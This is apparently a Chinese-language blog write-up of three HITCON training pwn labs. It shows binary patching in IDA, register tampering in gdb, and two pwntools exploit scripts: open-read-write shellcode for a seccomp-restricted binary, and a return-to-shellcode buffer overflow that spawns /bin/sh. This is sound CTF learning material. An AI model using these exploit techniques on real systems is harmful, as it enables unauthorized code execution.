歡迎前往個人主頁享受更為優質的體驗。
Pwn-10月23-Hitcon(一)
lab1-sysmagic
貌似第一題會比較簡單,先用IDA-Pro靜態分析一下:
貌似直接得到了一個能夠輸出flag的函數?由於這是個elf32位可執行文件所以我們需要在linux下面執行:
可以很簡單就看懂邏輯,輸入一個值,然后比較如果相等,得出flag。
解法1 - patch
IDA Pro -- keypatch,使用
keypatch插件來修改匯編代碼,我們可以直接將關鍵的一步nop掉或者改成完全相反的操作。

例如將
.text:08048722的跳轉匯編指令改為jmp無條件跳轉,或者是與jnz相反的jz操作。
修改為無條件跳轉后需要將其保存到對應文件中:
然后去把文件挪到linux上運行試試發現並沒有用,因為改為jmp后其函數直接少了一部分對flag的操作:
所以我們只能將原樣本中的jnz改為jz了,改完之后函數已經成為不等則輸出flag了:
運行效果:
解法2 - gdb set register value
通過gdb動態調試,並且在即將進行比較前,將 eax置為與edx相同的值即可:
然后即可得到flag。
lab2-orw
檢查保護措施
checksec orw.bin,題目orw的意思是open,read,write這三個函數。
emmm這是我做的第一個開啟了Stack保護的題目呢。
邏輯分析
簡單跑一下可以看到直接是讓你輸入shellcode:
放IDA pro里面看看:
細看一下
orw_seccomp()函數:
prctl函數又是啥玩意兒?Prctl(用戶和內核溝通的一個絕佳函數),這個函數可以對進程進行一些設置。而有一道強網杯題目就好像用了這玩意兒的技術?
輸入shellcode之后應該會執行,所以這題的目的是讓我們自己構造shellcode去讀取flag?既然要構造shellcode,那就需要用到pwntools的asm模塊和shellcraft模塊:
asm模塊是將操作轉換為匯編命令,而shellcraft是具有各種函數對應匯編命令的一個模塊,十分好用:
pwntools中的context模塊又是用來干嘛的呢?
context是pwntools用來設置環境的功能。在很多時候,由於二進制文件的情況不同,我們可能需要進行一些環境設置才能夠正常運行exp,比如有一些需要進行匯編,但是32的匯編和64的匯編不同,如果不設置context會導致一些問題。例如
context(os='linux', arch='amd64', log_level='debug')這句話的意思是:
- os設置系統為linux系統,在完成ctf題目的時候,大多數pwn題目的系統都是linux
- arch設置架構為amd64,可以簡單的認為設置為64位的模式,對應的32位模式是’i386’
- log_level設置日志輸出的等級為debug,這句話在調試的時候一般會設置,這樣pwntools會將完整的io過程都打印下來,使得調試更加方便,可以避免在完成CTF題目時出現一些和IO相關的錯誤。
exp
根據題意和題解😂(正處於漲姿勢的時候)寫出exp:
#!/usr/bin/env python
#coding:utf-8
from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"
shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag")
shellcode += sc.open("esp")
# open返回的文件文件描述符存貯在eax寄存器里
shellcode += sc.read("eax", "esp", 0x100)
# open讀取的內容放在棧頂
# write函數在棧頂讀取0x100大小的內容並打印出來
shellcode += sc.write(1, "esp", 0x100)
io = process("./orw.bin")
#print(asm(shellcode))
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
運行效果:

lab3-ret2sc
題目名是return to shellcode的簡寫,應該是利用return返回然后執行shellcode之類的操作?
檢查保護措施
checksec ret2sc
emmm沒有開啟啥保護,沒有開啟棧溢出檢測,也沒有開啟棧不可執行(NX)。
邏輯分析
跑一下發現讓我們輸入字符串到Name里面,還有一個try your best?首先想到的是會不會又是啥棧溢出什么的。
嗯,情況是有的:
通過gdb動態調試可以發現在輸入try your best 的值的時候可以發生溢出,並且將EIP指向我們構造的位置:
而這個臨界值我們可以通過pattern search來查我們構造的pattern偏移量,得到為32。根據大佬的題解了解到return to shellcode是一種題型,我甚至想到了又用ROP chain???
黑人問號.jpg😭。原來return to shellcode的操作就是將shellcode寫入name變量空間,然后通過返回到該地址從而執行shellcode(NX未開啟,棧可執行)
該變量地址為0x804A060
構造EXP
這個exp需要用到shellcraft和asm,來將shellcode轉為匯編指令:
#!/usr/bin/env python #coding:utf-8 from pwn import * context(os = "linux", arch = "i386",log_level="debug") io = process("./ret2sc") #獲得sh的命令多種多樣,並且有不同系統版本的sh #shellcode = asm(shellcraft.execve("/bin/sh")) shellcode = asm(shellcraft.i386.linux.sh()) io.sendlineafter(":", shellcode) #flat模塊能將pattern字符串和地址結合並且轉為字節模式 payload = flat(cyclic(32), 0x804a060) io.sendlineafter(":", payload) io.interactive() io.close()
運行效果:

小結
內容涉及 context 模式設置,asm模塊,shellcraft模塊,patch操作,return to shellcode題型,pwntools flat模塊。
今天先混到這兒。。。我真菜😭。



















